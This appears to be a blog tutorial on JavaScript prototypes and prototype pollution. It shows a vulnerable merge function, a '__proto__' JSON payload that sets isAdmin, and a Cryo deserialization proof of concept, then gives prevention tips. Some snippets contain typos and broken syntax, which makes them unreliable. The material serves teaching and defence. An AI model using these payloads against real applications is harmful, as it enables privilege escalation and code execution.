“Love is in the air but the air is highly polluted”
JavaScript is a dynamic language. You can attach new properties to an object at any time as shown below.
In javascript an object is simply a collection of key and value pairs, often called properties of that object. For example:
var myObject = {}; myObject.name = 'John'; myObject.age = 21;
In the above example, we created an empty object and then attached two new properties to it (name and age).
We can also create new properties on the fly while accessing an object as shown below.
var myObject = {}; myObject.name = 'John'; myObject.age = 21; // Let's create a new property using another property myObject['location'] = myObject.name + ' lives in Australia.'; console.log(myObject.location); // Prints "John lives in Australia."
In the above example, we created a new property location on the fly using another property (name) and then logged its value to console.
In JavaScript, everything is an object. Even functions are objects.
We can create new objects using the Object constructor as shown below.
function Person(first, last, age, eyecolor) {
this.firstName = first;
this.lastName = last;
this.age = age;
this.eyeColor = eyecolor;
this.isAdmin= false;
}
const myFather = new Person("John", "Doe", 50, "blue");
const myMother = new Person("Sally", "Rally", 48, "green");
In the above code, we created a new object( an instance) using the Person constructor function.
So we know that we can add new properties to an specific instances but we can not add a new property to an existing object constructor (a constructor is a method to instantiate new objects).
In order to add a new property , we must add it to the constructor.
Second way we can add it through the prototype Inheritance.
All objects in JavaScript inherit properties and method from a prototype.
Prototype
Prototype is the blueprint where all objects get their methods, while Object.prototype is on the top of the prototype inheritance chain.
In other words the prototype is a property of all JavaScript objects that refers to the object upon which the property was accessed.
To add new properties or new method to an object constructor use this following syntax:
Person.prototype.nationality = "English";
Person.prototype.details= function(){ return this.FirstName + this.age;};
Prototype Pollution
Prototype pollution occurs when a property is added to the prototype of a built-in object, such as Array.prototype or Object.prototype. This can cause unexpected behavior when the built-in object is used, since the new property will be present on all instances of the object.
The most commonly example is the following:
if (user.isAdmin) { // do something important}
If we can modify the property of Object.prototype, we can manage our object to be always an Admin.
Object.prototype.isAdmin = true
Imagine a JS code like the following one :
function merge(target, source) {
for (let key in source){
if(is Object(target[key] && isObject(source[key])){
merge(target[key], source[key]);
}
else { target[key] = source[key];}
}
return target;
}
We can see that the function iterate over the object and clone all properties from the source to the target.
This is seems to be an unsuspecting code but it still vulnerable to population.
{
"firstname":"Nathan",
"age":"26",
"__proto__ ": {
"isAdmin": "true"
}
}
After merge has been executed,it is not going to overwrite the original proto but instead it going to create his property then we will be able to set Person.proto.isAdmin (i.e. Object.prototype.polluted) to "true"
REAL World Example
The library cryo used the same previous model.
Application using this library can be vulnerable to arbitrary code execution.
Cryo employs square bracket notation to rebuild an object from JSON (obj[key]=value).
As a result, an attacker has the ability to modify the proto attribute of a new object.
Cryo also supports function serialization, so the attacker may define their own methods (toString, valueOf) for the new object.
Let 's analyze this code.
var Cryo = require('cryo');
var obj = {
name: 'Hunter',
created: new Date(),
hello: function() {
console.log(this.name + ' said hello in ' +
this.created.getFullYear() + '!');
}
};
var frozen = Cryo.stringify(obj);
var hydrated = Cryo.parse(frozen);
The code will generate the following json code :
The object contains two object, root and references.
It implies that if the application later in the code interacts with the new object in a way that results in the activation of the object's prototype functions, then the attacker's malicious code is executed.
var Cryo = require('cryo');
var obj = {
testFunc : function() {return 1111;}
};
var frozen = Cryo.stringify(obj);
console.log(frozen)
var hydrated = Cryo.parse(frozen);
console.log(hydrated)
var obj = {
__proto: {
toString: function() {console.log("test1"); return 1111;},
valueOf: function() {console.log("test1"); return 2222;}
}
};
console.log(hydrated);
Will create the following object:
var Cryo = require('cryo');
var frozen = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"test1\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"test1\\");return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}'
var hydrated = Cryo.parse(frozen);
An attacker will craft this JSON file with malicious code which rewrites proto of a new object. In some it may lead to execution of the code, so the attacker can achieve OS command execution.
Preventing
There are a few ways to prevent prototype pollution:
Use
Object.create(null)
instead of{}
when creating objects. This will create an object with no prototype, thus no properties will be inherited from the Object prototype.Use a
__proto__
getter and setter. This will allow you to control what properties are inherited, and prevent pollution of the prototype.Use a library like lodash that provides utilities for creating objects without prototypes.
Top comments (0)